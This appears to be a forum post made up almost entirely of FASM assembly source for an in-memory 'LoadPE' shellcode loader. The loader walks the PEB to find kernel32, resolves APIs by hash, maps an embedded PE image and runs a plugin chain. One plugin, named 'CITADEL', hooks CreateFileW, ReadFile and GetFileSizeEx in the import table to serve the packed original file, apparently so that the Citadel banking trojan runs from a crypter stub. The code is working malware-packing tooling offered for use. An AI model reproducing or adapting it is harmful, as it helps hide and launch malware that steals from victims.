0 Members and 1 Guest are viewing this topic.
+========================+ | _LOADPE structure | +========================+-----+ | LOADPE SHELLCODE | | +========================+ | | LOADPE PLUGINS | } LoadPE chain structure +========================+ | | END OF CHAIN SIGNATURE | | +========================+ | END SIGNATURE | | +========================+-----+ Original PE file
macro szHash name, res { local ..size, ..result, ..char, ..temp ..temp = 0 ..result = 0 virtual at 0 db name, 0x0 ..size = $ repeat ..size load ..char byte from % - 1 ..temp = (..temp shr 7) or (..temp shl 25) ..result = ..result xor ..temp ..temp = (..temp and 0xffffff00) or ..char end repeat end virtual res = ..result and 0xffffffff } struct _3B1P_PLUGIN_HEADER signature db '3B1P' wSize dw ? pReturn dd ? pLoadPEData dd ? pEntryPoint dw ? dwPluginID dd ? ends struct _LOADPE_DATA pCompareHash dd ? pCompareString dd ? pAltGetProcAddress dd ? pGetFileHeader dd ? pLoadLibraryA dd ? pGetModuleHandleA dd ? pVirtualProtect dd ? pOriginalFile dd ? hKernel32 dd ? hNtdll dd ? dwOriginalFileSize dd ? dwImageBase dd ? dwShellcodeLen dd ? dwDeepOfStack dd ? dwReserved1 dd ? dwReserved2 dd ? ends struct _LOADPE pluginData db 0x1000 dup (?) pluginsQueue db 0x200 dup (?) loadpeData _LOADPE_DATA ends macro __3BIP_PLUGIN_HEADER__ entryPoint, szPluginName { szHash szPluginName, hashPluginName _PLUGIN_HEADER_: _PLUGIN_BEGIN_ = _PLUGIN_HEADER_ .signature db '3B1P' .wSize dw _PLUGIN_END_-_PLUGIN_BEGIN_ .pReturn dd ? .pLoadPEData dd ? .pEntryPoint dw entryPoint-_PLUGIN_BEGIN_ .dwPluginID dd hashPluginName } macro __3BIP_PLUGIN_TAIL__ name { _PLUGIN_END_: db name, 0x0 }
use32 format binary include '%FASMINC%\win32a.inc' include 'pe.inc' include 'loadpe.inc' szHash 'KERNEL32', hashKERNEL32 szHash 'NTDLL', hashNTDLL szHash 'LoadLibraryA', hashLoadLibraryA szHash 'VirtualProtect', hashVirtualProtect szHash 'GetModuleHandleA', hashGetModuleHandleA szHash 'VirtualFree', hashVirtualFree __LOADPE_BEGIN__: __LOADPE_PLUGINS_RETURN__ = loadPE_main.__LOADPE_PLUGINS_RETURN__ start: jmp loadPE_main dwOriginalFileSize dd 0xBEA51F3D ; dwImageBase dd 0x0 dwShellcodeLen dd 0x0 dwDeepOfStack dd 0x0 pOriginalTLSIndex dd 0x0 proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD, SectionAlignment:DWord pusha cld mov edx, [pSectionHeader] mov ecx, [edx+IMAGE_SECTION_HEADER.VirtualSize] mov edi, [image_base] add edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress] mov esi, [SectionAlignment] add ecx, esi mov eax, ecx xor edx, edx div esi sub ecx, edx xor eax, eax rep stosb mov edx, [pSectionHeader] mov esi, [pFileImageBase] add esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData] mov ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData] mov edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress] add edi, [image_base] rep movsb .exit: popa ret endp proc GetHashSz strz push ecx push ebx push DWord [strz] pop ecx xor ebx, ebx push ebx .CalcHash: ror ebx, 7 xor [esp], ebx mov bl, Byte [ecx] inc ecx cmp bl, 0x0 jnz .CalcHash pop eax pop ebx pop ecx ret endp proc loadImportDirectoryTable pAPITable:DWORD, image_base:DWORD, directory_entry:DWORD local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD pushad mov eax, [directory_entry] mov eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_] add eax, [image_base] ;load the corresponding dll mov ebx, [pAPITable] stdcall DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax test eax,eax jz .exit_error mov [.dll_image_base],eax mov edx, [directory_entry] mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk] add eax, [image_base] mov [.import_address_table],eax mov [.lookup_table],eax mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk] test eax, eax jz .OFTIsNull add eax, [image_base] mov [.lookup_table], eax .OFTIsNull: xor ecx, ecx .next_lookup_entry: mov eax, DWord [.lookup_table] add eax, ecx mov eax, DWord [eax] test eax, eax jz .exit_success test eax, IMAGE_ORDINAL_FLAG32 jnz .byordinal .byname: add eax, [image_base] lea eax, [eax+IMAGE_IMPORT_BY_NAME.Name_] push ecx stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], [ebx+_LOADPE_DATA.pCompareString], eax pop ecx test eax, eax jz .exit_error mov edx, [.import_address_table] mov [edx+ecx], eax add ecx, 4 jmp .next_lookup_entry .byordinal: and eax, 0x7FFFFFFF push ecx stdcall AltGetProcAddress, [pAPITable], [.dll_image_base], 0x0, eax pop ecx mov edx, [.import_address_table] mov [edx+ecx], eax add ecx, 4 jmp .next_lookup_entry .exit_success: popa xor eax,eax inc eax ret .exit_error: popad xor eax, eax ret endp proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD pusha xor eax, eax mov [.retval], eax mov edx, [pImageFileHeader] movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections] mov [.number_of_sections], eax add edx, sizeof.IMAGE_FILE_HEADER mov eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase] mov [.image_base], eax lea ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory] mov eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes] mov edx, sizeof.IMAGE_DATA_DIRECTORY mul edx add eax, ebx mov [.section_headers], eax mov eax, sizeof.IMAGE_SECTION_HEADER mov edx, [.number_of_sections] mul edx add eax, [.section_headers] mov ebx, [pFileImageBase] sub eax, ebx mov [.pe_header_size], eax mov ebx, [APITable] lea eax, [.vprotect_ret] stdcall DWord [ebx+_LOADPE_DATA.pVirtualProtect], [.image_base], [.pe_header_size], PAGE_READONLY, eax test eax, eax jz .exit mov ecx, [.number_of_sections] mov ebx, [.section_headers] .load_section_loop: stdcall setSection, [APITable], ebx test eax, eax jz .exit add ebx, sizeof.IMAGE_SECTION_HEADER loop .load_section_loop inc [.retval] .exit: popa mov eax, [.retval] ret endp proc HashCompare szName, dwVal local iResult:DWORD pusha xor esi, esi mov DWord [iResult], esi stdcall GetHashSz, [szName] cmp DWord [dwVal], eax jz .FoundProcname not DWord [iResult] .FoundProcname: popa push DWord [iResult] pop eax ret endp proc loadImportTable pAPITable, image_base local .import_table:DWORD local iResult:DWORD local .null_directory_entry[0x14]:BYTE pusha push DWord [image_base] pop edi push DWord [edi + IMAGE_DOS_HEADER.e_lfanew] pop edx lea edx, [edx+edi + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY] mov edx, DWord [edx+IMAGE_DATA_DIRECTORY.VirtualAddress] cmp edx, 0 jz .exit add edx, edi push edx pop DWord [.import_table] xor eax, eax mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR lea edi, [.null_directory_entry] rep stosb push DWord [.import_table] pop ebx .next_directory_entry: lea esi, [.null_directory_entry] push ebx pop edi mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR rep cmpsb je .exit stdcall loadImportDirectoryTable, [pAPITable], [image_base], ebx add ebx, 0x14 jmp .next_directory_entry .exit: popa ret endp ; stdcall setSection, [APITable], ebx proc setSection pAPITable, pSectionHeader local .vprotect_ret:DWORD local .retval:DWORD local .section_flags:DWORD pusha mov DWord [.retval], DWORD 0x0 push DWord [pSectionHeader] pop ecx ;section execute/read/write? mov ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics] and ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE cmp ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE jne .no_execute_read_write mov DWord [.section_flags], PAGE_EXECUTE_READWRITE jmp .set_memory .no_execute_read_write: mov ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics] and ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ cmp ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ jne .no_execute_read mov DWord [.section_flags], PAGE_EXECUTE_READ jmp .set_memory .no_execute_read: mov ebx, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics] and ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ cmp ebx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ jne .no_read_write mov DWord [.section_flags], PAGE_READWRITE jmp .set_memory .no_read_write: mov edi, DWord [ecx+IMAGE_SECTION_HEADER.Characteristics] and edi, IMAGE_SCN_MEM_READ cmp edi, IMAGE_SCN_MEM_READ jne .no_read mov DWord [.section_flags], PAGE_READONLY jmp .set_memory .no_read: mov DWord [.section_flags], PAGE_NOACCESS .set_memory: mov eax, DWord [pSectionHeader] mov edi, DWord [eax + IMAGE_SECTION_HEADER.VirtualAddress] mov esi, DWord [pAPITable] add edi, DWord [esi+_LOADPE_DATA.dwImageBase] lea edx, [.vprotect_ret] mov ecx, [eax + IMAGE_SECTION_HEADER.VirtualSize] stdcall DWord [esi + _LOADPE_DATA.pVirtualProtect], edi, ecx, [.section_flags], edx popa xor eax, eax inc eax ret endp proc strToUpcase szString pusha mov eax, [szString] xor ebx, ebx .up: movzx edx, Byte [eax] test edx, edx jz .down cmp edx, 0x61 jb .nextChar cmp edx, 0x7A ja .nextChar sub edx, 0x20 mov Byte [eax], dl .nextChar: inc eax jmp short .up .down: popa ret endp proc AltGetProcAddress pAPITable, hLib, fCompareProc, dwVal local dwOrdinal:DWORD local iResult:DWORD local pExportDirectory:DWORD local pExportDirectoryBound:DWORD local szFncName[0x20]:BYTE local szLibName[0x20]:BYTE pusha push 0x0 pop DWord [iResult] mov ecx, DWord [hLib] cmp Word [ecx], WORD 0x5a4d jne .End movzx esi, Word [ecx+0x3c] add esi, ecx cmp DWord [esi], DWORD 0x4550 ;check <'PE',0,0> jne .End mov edx, DWord [esi+0x78] add edx, ecx mov DWord [pExportDirectory], edx mov eax, edx add eax, DWord [esi+0x7C] mov DWord [pExportDirectoryBound], eax mov ebx, DWord [edx+0x18] xor esi, esi mov eax, DWord [edx+0x20] add eax, ecx cmp DWord [fCompareProc], 0x0 jnz .MainLoop mov esi, DWord [dwVal] sub esi, [edx+0x10] mov DWord [dwOrdinal], esi jmp short .FoundOrdinal .MainLoop: push DWord [eax] pop edi lea edi, [ecx+edi] push eax stdcall [fCompareProc], edi, [dwVal] test eax, eax pop eax jz .FoundProcname add eax, 0x4 dec ebx inc esi or ebx, ebx jnz .MainLoop jmp .End .FoundProcname: mov ebx, DWord [pExportDirectory] shl esi, 1 add esi, DWord [ebx+0x24] movzx esi, Word [esi+ecx] mov DWord [dwOrdinal], esi .FoundOrdinal: mov ebx, DWord [pExportDirectory] mov esi, DWord [dwOrdinal] shl esi, 2 add esi, ecx add esi, DWord [ebx+0x1C] mov edi, DWord [esi] add edi, ecx mov DWord [iResult], edi cmp edi, DWord [pExportDirectory] jb .End cmp edi, DWord [pExportDirectoryBound] jae .End lea esi, [szLibName] .UpLibName: movzx eax, Byte [edi] cmp eax, '.' jz .EndLibName mov Byte [esi], al inc esi inc edi jmp short .UpLibName .EndLibName: mov Byte [esi], 0x0 lea eax, [szLibName] stdcall strToUpcase, eax lea eax, [szLibName] stdcall GetHashSz, eax mov ebx, [pAPITable] cmp eax, hashKERNEL32 jz .getKernel32 cmp eax, hashNTDLL jnz .callGetModuleHandle .getNtdll: mov eax, DWord [ebx + _LOADPE_DATA.hNtdll] jmp short .searchFncName .getKernel32: mov eax, DWord [ebx + _LOADPE_DATA.hKernel32] jmp short .searchFncName .callGetModuleHandle: mov DWord [esi], 0x4C4C442E mov Byte [esi+0x4], 0x0 lea eax, [szLibName] stdcall DWord [ebx + _LOADPE_DATA.pGetModuleHandleA], eax cmp eax, 0 jnz .searchFncName lea eax, [szLibName] stdcall DWord [ebx + _LOADPE_DATA.pLoadLibraryA], eax .searchFncName: mov DWord [hLib], eax lea esi, [szFncName] inc edi .UpFncName: movzx eax, Byte [edi] test eax, eax jz .EndFncName mov Byte [esi], al inc esi inc edi jmp short .UpFncName .EndFncName: mov Byte [esi], 0x0 lea esi, [szFncName] cmp Byte [esi], 0x23 jz .forwardingByOrdinal stdcall AltGetProcAddress, ebx, [hLib], [ebx + _LOADPE_DATA.pCompareString], esi jmp .foundAddr .forwardingByOrdinal: inc esi stdcall strtonum, esi stdcall AltGetProcAddress, ebx, [hLib], 0x0, eax .foundAddr: mov DWord [iResult], eax .End: popa mov eax, DWord [iResult] ret endp proc verifyPE pImagePE local iResult:DWORD pusha xor edx, edx mov edi, [pImagePE] movzx ecx, Word [edi] cmp ecx, 0x5a4d jnz .Exit mov eax, DWord [edi+IMAGE_DOS_HEADER.e_lfanew] add edi, eax cmp DWord [edi], 0x4550 jne .Exit add edi, 0x4 xchg edi, edx .Exit: mov DWord [esp+0x1C], edx popa ret endp proc loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD local .retval:DWORD local .iSectNum:DWORD local .pImageOptionalHeader:DWORD local .dwOldProtect:DWORD local .pSectionHeaders:DWORD local .iPEHeaderSize:DWORD local .SizeOfImage:DWORD local .SectionAlignment:DWORD pusha xor eax, eax mov [.retval], eax mov ebx, [pAPITable] mov edx, [pImageFileHeader] movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections] mov [.iSectNum], eax lea eax, [edx+sizeof.IMAGE_FILE_HEADER] mov [.pImageOptionalHeader], eax push DWord [eax + IMAGE_OPTIONAL_HEADER32.SectionAlignment] pop DWord [.SectionAlignment] mov eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage] mov [.SizeOfImage], eax lea eax, [.dwOldProtect] stdcall DWord [ebx+_LOADPE_DATA.pVirtualProtect], DWord [ebx+_LOADPE_DATA.dwImageBase], [.SizeOfImage], PAGE_READWRITE, eax test eax, eax jz .Exit cld xor eax, eax mov edi, DWord [ebx+_LOADPE_DATA.dwImageBase] mov ecx, [.SizeOfImage] cld rep stosb mov edx, [.pImageOptionalHeader] mov eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes] lea ecx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory] mov edx, sizeof.IMAGE_DATA_DIRECTORY mul edx add eax, ecx mov [.pSectionHeaders], eax mov eax, sizeof.IMAGE_SECTION_HEADER mov edx, [.iSectNum] mul edx mov ecx, [pFileImageBase] add eax, [.pSectionHeaders] sub eax, ecx mov [.iPEHeaderSize], eax mov edi, DWord [ebx+_LOADPE_DATA.dwImageBase] mov ecx, [.iPEHeaderSize] mov esi, [pFileImageBase] rep movsb mov ecx, [.iSectNum] mov esi, [.pSectionHeaders] .load_section_loop: stdcall loadSection, esi, DWord [ebx+_LOADPE_DATA.dwImageBase], [pFileImageBase], [.SectionAlignment] test eax, eax jz .Exit add esi, sizeof.IMAGE_SECTION_HEADER dec ecx jnz .load_section_loop inc [.retval] .Exit: popa mov eax, [.retval] ret endp proc StringCompare szName, dwVal local iResult:DWORD pusha xor edi, edi mov DWord [iResult], edi push DWord [szName] pop edx push DWord [dwVal] pop ecx .mainLoop: xor ebx, ebx mov bl, Byte [edx] movzx eax, Byte [ecx] cmp ebx, eax jnz .Err test ebx, ebx jz .FoundProcname inc ecx inc edx jmp .mainLoop .Err: not DWord [iResult] .FoundProcname: popa mov eax, DWord [iResult] ret endp proc loadPE_main local pMyAddr:DWORD local pFileHeader:DWORD local pPEImage:DWORD local iResult:DWORD local pOldTLSIndex:DWORD local dwTLSIndexValue:DWORD local pImageBase:DWORD pusha call .delta .delta: pop edi sub edi, .delta - __LOADPE_BEGIN__ mov DWord [pMyAddr], edi mov eax, edi add eax, DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__] mov [pPEImage], eax lea ebx, [edi-sizeof._LOADPE_DATA] push DWord [edi+dwOriginalFileSize-__LOADPE_BEGIN__] pop DWord [ebx+_LOADPE_DATA.dwOriginalFileSize] push DWord [edi+dwImageBase-__LOADPE_BEGIN__] pop DWord [ebx+_LOADPE_DATA.dwImageBase] push DWord [edi+dwShellcodeLen-__LOADPE_BEGIN__] pop DWord [ebx+_LOADPE_DATA.dwShellcodeLen-__LOADPE_BEGIN__] push DWord [edi+dwDeepOfStack-__LOADPE_BEGIN__] pop DWord [ebx+_LOADPE_DATA.dwDeepOfStack-__LOADPE_BEGIN__] push DWord [edi+pOriginalTLSIndex-__LOADPE_BEGIN__] pop DWord [pOldTLSIndex] mov eax, DWord [fs:0x30] mov eax, DWord [eax+0xC] mov eax, DWord [eax+0x1C] push DWord [eax+0x8] pop DWord [ebx+_LOADPE_DATA.hNtdll] push DWord [pPEImage] pop DWord [ebx+_LOADPE_DATA.pOriginalFile] lea eax, [edi+StringCompare-__LOADPE_BEGIN__] mov DWord [ebx+_LOADPE_DATA.pCompareString], eax lea eax, [edi+HashCompare-__LOADPE_BEGIN__] mov DWord [ebx+_LOADPE_DATA.pCompareHash], eax lea eax, [edi+verifyPE-__LOADPE_BEGIN__] mov DWord [ebx+_LOADPE_DATA.pGetFileHeader], eax call GetK32 mov DWord [ebx+_LOADPE_DATA.hKernel32], eax lea eax, [edi+AltGetProcAddress-__LOADPE_BEGIN__] mov DWord [ebx+_LOADPE_DATA.pAltGetProcAddress], eax stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashLoadLibraryA mov DWord [ebx+_LOADPE_DATA.pLoadLibraryA], eax stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashVirtualProtect mov DWord [ebx+_LOADPE_DATA.pVirtualProtect], eax stdcall AltGetProcAddress, ebx, DWord [ebx+_LOADPE_DATA.hKernel32], [ebx+_LOADPE_DATA.pCompareHash], hashGetModuleHandleA mov DWord [ebx+_LOADPE_DATA.pGetModuleHandleA], eax lea eax, [iResult] stdcall verifyPE, [pPEImage] test eax, eax jz .End push eax pop DWord [pFileHeader] stdcall loadFile, ebx, [pFileHeader], [pPEImage] test eax, eax jz .End stdcall loadImportTable, ebx, [ebx+_LOADPE_DATA.dwImageBase] stdcall setPermissions, ebx, [pFileHeader], [pPEImage] mov eax, edi add eax, __LOADPE_END__-__LOADPE_BEGIN__ mov ecx, edi sub ecx, sizeof._LOADPE - _LOADPE.pluginsQueue mov esi, [pFileHeader] mov esi, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint] add esi, [ebx+_LOADPE_DATA.dwImageBase] stdcall FillPluginQueue, eax, ecx, ebx, esi pusha jmp ecx .__LOADPE_PLUGINS_RETURN__: .End: popa mov eax, DWord [iResult] ret endp proc GetK32 local iResult:DWORD pusha mov eax, DWord [fs:0x30] mov eax, DWord [eax+0xC] mov eax, DWord [eax+0x1C] .NextModule: push DWord [eax+0x8] pop DWord [iResult] push DWord [eax+0x20] pop ebx mov eax, DWord [eax] movzx ecx, Byte [ebx+0x18] cmp ecx, 0x0 jne .NextModule movzx ecx, Byte [ebx] cmp ecx, 0x6b je .Found_K32 cmp ecx, 0x4b jne .NextModule .Found_K32: popa push DWord [iResult] pop eax ret endp proc strtonum strz pusha mov edi, [strz] stdcall strlen, edi test eax, eax jz .err xchg ecx, eax lea esi, [edi+ecx-0x1] xor edi, edi mov ebx, edi .up: push ebx test ebx, ebx jz .isZero mov eax, 0xA jmp .loopUp .isZero: xor eax, eax inc eax jmp short .endPower .loopUp: dec ebx jz short .endPower mov edx, 0xA mul edx jmp short .loopUp .endPower: pop ebx movzx edx, Byte [esi] cmp edx, 0x30 jb .err cmp edx, 0x39 ja .err sub edx, 0x30 mul edx add edi, eax inc ebx dec esi dec ecx jnz .up xchg eax, edi clc jmp .exit .err: xor eax, eax stc .exit: mov DWord [esp+0x1C], edi popa ret endp proc strlen s pusha cld mov esi, [s] xor eax, eax mov ecx, eax .up: lodsb test eax, eax je short .down inc ecx jmp short .up .down: mov [esp+0x1C], ecx popa ret endp proc LoadTLSIndex pImageBase, pOldTLSIndex, pDwTLSIndexValue pusha mov ebx, [pOldTLSIndex] cmp ebx, 0h jz .e stdcall verifyPE, [pImageBase] add eax, sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY*0x9 mov eax, DWord [eax] add eax, [pImageBase] mov eax, DWord [eax+0x8] mov eax, DWord [eax] mov edx, [pDwTLSIndexValue] mov DWord [edx], eax .e: popa ret endp proc FillPluginQueue pFirstChain, pPluginQueueCmds, pLoadPEData, pReturn mov edi, [pPluginQueueCmds] mov esi, [pFirstChain] mov edx, DWord [pLoadPEData] .up: cmp DWord [esi], 0x4B504134 jnz .checkPlugin cmp Word [esi+0x4], 0x41 jz .end .checkPlugin: cmp DWord [esi], 0x50314233 jnz .end mov Byte [edi], 0xBE mov DWord [edi+0x1], esi mov Byte [edi+0x5], 0xBF mov DWord [esi+_3B1P_PLUGIN_HEADER.pLoadPEData], edx mov DWord [edi+0x6], edx mov Byte [edi+0xA], 0xB8 movzx ecx, Word [esi+_3B1P_PLUGIN_HEADER.pEntryPoint] mov eax, ecx add eax, esi mov DWord [edi+0xB], eax mov Word [edi+0xF], 0xE0FF add edi, 0x11 mov DWord [esi+_3B1P_PLUGIN_HEADER.pReturn], edi movzx ecx, Word [esi+_3B1P_PLUGIN_HEADER.wSize] add esi, ecx jmp .up .end: mov Byte [edi], 0x68 push [pReturn] pop DWord [edi+0x1] mov Byte [edi+0x5], 0xC3 jmp DWord [pPluginQueueCmds] endp __LOADPE_END__:
include '%FASMINC%\Win32a.inc' include 'loadpe.inc' szHash 'UnhandledExceptionFilter', hashUnhandledExceptionFilter org 0x0 use32 __3BIP_PLUGIN_HEADER__ start, 'RESTORESEH' pUnhandledExceptionFilter dd 0 start: stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashUnhandledExceptionFilter xor edx, edx dec edx mov eax, DWord [fs:0] .unchain: cmp DWord [eax], edx jz .down mov eax, DWord [eax] jmp short .unchain .down: mov DWord [fs:0], eax add esp, DWord [edi+_LOADPE_DATA.dwDeepOfStack] jmp DWord [esi+_3B1P_PLUGIN_HEADER.pReturn] __3BIP_PLUGIN_TAIL__ 'RESTORESEH'
include '%FASMINC%\Win32a.inc' include 'loadpe.inc' include 'pe.inc' szHash 'ReadFile', hashReadFile szHash 'CreateFileW', hashCreateFileW szHash 'GetFileSizeEx', hashGetFileSizeEx szHash 'lstrcmpiW', hashlstrcmpiW szHash 'SetLastError', hashSetLastError org 0x0 use32 __3BIP_PLUGIN_HEADER__ start, 'CITADEL' proc ReadFile_Hook hFile, lpBufer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped pusha call .delta .delta: pop ebx sub ebx, .delta-_PLUGIN_BEGIN_ cmp DWord [ebx+hFileExec], 0x0 jz .readOriginal mov eax, DWord [ebx+hFileExec] cmp eax, [hFile] jnz .readOriginal mov edi, DWord [lpBufer] mov esi, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData] mov ecx, [nNumberOfBytesToRead] mov esi, [esi+_LOADPE_DATA.pOriginalFile] cld rep movsb mov eax, [lpNumberOfBytesRead] mov edx, [nNumberOfBytesToRead] mov DWord [eax], edx mov eax, [ebx+_ReadFile] mov edx, [ebx+pIAT_ReadFile] mov DWord [edx], eax stdcall DWord [ebx+_SetLastError], 0x0 xor eax, eax inc eax jmp short .end .readOriginal: stdcall DWord [esi+_ReadFile], [hFile], [lpBufer], [nNumberOfBytesToRead], [lpNumberOfBytesRead], [lpOverlapped] .end: mov DWord [esp+0x1C], eax popa ret endp proc CreateFileW_Hook lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile pusha call .delta .delta: pop esi sub esi, .delta-_PLUGIN_BEGIN_ stdcall DWord [esi+_CreateFileW], [lpFileName], [dwDesiredAccess], [dwShareMode], [lpSecurityAttributes], [dwCreationDisposition], [dwFlagsAndAttributes], [hTemplateFile] mov DWord [esp+0x1C], eax stdcall DWord [esi+_lstrcmpiW], [lpFileName], [esi+pExecutableFileName] test eax, eax jnz .end push DWord [esp+0x1C] pop DWord [esi+hFileExec] mov eax, [esi+_CreateFileW] mov edx, [esi+pIAT_CreateFileW] mov DWord [edx], eax .end: popa ret endp proc GetFileSizeEx_Hook hFile, lpFileSize pusha call .delta .delta: pop ebx sub ebx, .delta-_PLUGIN_BEGIN_ mov eax, DWord [ebx+hFileExec] test eax, eax jz .readOriginal cmp eax, [hFile] jnz .readOriginal xor edi, edi mov eax, [ebx+_GetFileSizeEx] mov edx, [ebx+pIAT_GetFileSizeEx] mov DWord [edx], eax mov edx, [lpFileSize] mov eax, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData] mov eax, [eax+_LOADPE_DATA.dwOriginalFileSize] mov DWord [edx], eax mov DWord [edx+0x4], edi stdcall DWord [ebx+_SetLastError], 0 inc edi xchg edi, eax jmp short .end .readOriginal: stdcall DWord [ebx+_GetFileSizeEx], [hFile], [lpFileSize] .end: mov DWord [esp+0x1C], eax popa ret endp proc searchDWordValue pMem, dwSize, dwValue pusha mov esi, [pMem] mov eax, [dwValue] mov ecx, [dwSize] .up: test ecx, ecx jz .error cmp DWord [esi], eax jz .found sub ecx, 0x4 add esi, 0x4 jmp short .up .found: clc jmp short .end .error: xor esi, esi stc .end: mov DWord [esp+0x1C], esi popa ret endp pExecutableFileName dd 0x0 hFileExec dd 0x0 dwOldProtect dd 0x0 _ReadFile dd 0x0 _CreateFileW dd 0x0 _lstrcmpiW dd 0x0 _SetLastError dd 0x0 _GetFileSizeEx dd 0x0 ;IAT addresses pIAT dd 0x0 dwIATsize dd 0x0 pIAT_CreateFileW dd 0x0 pIAT_ReadFile dd 0x0 pIAT_GetFileSizeEx dd 0x0 start: xor ebx, ebx mov eax, DWord [fs:ebx+0x30] mov eax, DWord [eax+0xC] mov eax, DWord [eax+0xC] mov eax, [eax+0x28] mov DWord [esi+pExecutableFileName], eax ; mov eax, DWord [edi+_LOADPE_DATA.pPEFileHeader] stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashReadFile mov DWord [esi+_ReadFile], eax stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashCreateFileW mov DWord [esi+_CreateFileW], eax stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashlstrcmpiW mov DWord [esi+_lstrcmpiW], eax stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashSetLastError mov DWord [esi+_SetLastError], eax stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashGetFileSizeEx mov DWord [esi+_GetFileSizeEx], eax stdcall DWord [edi+_LOADPE_DATA.pGetFileHeader], DWord [edi+_LOADPE_DATA.dwImageBase] add eax, sizeof.IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32.DataDirectory + IMAGE_DIRECTORY_ENTRY_IAT*0x8 cmp DWord [eax], 0x0 jz .end mov edx, DWord [eax] add edx, [edi+_LOADPE_DATA.dwImageBase] mov DWord [esi+pIAT], edx push DWord [eax+0x4] pop DWord [esi+dwIATsize] lea eax, [esi+dwOldProtect] stdcall DWord [edi+_LOADPE_DATA.pVirtualProtect], DWord [esi+pIAT], DWord [esi+dwIATsize], PAGE_EXECUTE_READWRITE, eax stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_CreateFileW] jc .end mov DWord [esi+pIAT_CreateFileW], eax lea edx, [esi+CreateFileW_Hook] mov DWord [eax], edx stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_ReadFile] jc .end mov DWord [esi+pIAT_ReadFile], eax lea edx, [esi+ReadFile_Hook] mov DWord [eax], edx stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_GetFileSizeEx] jc .end mov DWord [esi+pIAT_GetFileSizeEx], eax lea edx, [esi+GetFileSizeEx_Hook] mov DWord [eax], edx .end: jmp DWord [esi+_3B1P_PLUGIN_HEADER.pReturn] __3BIP_PLUGIN_TAIL__ 'CITADEL'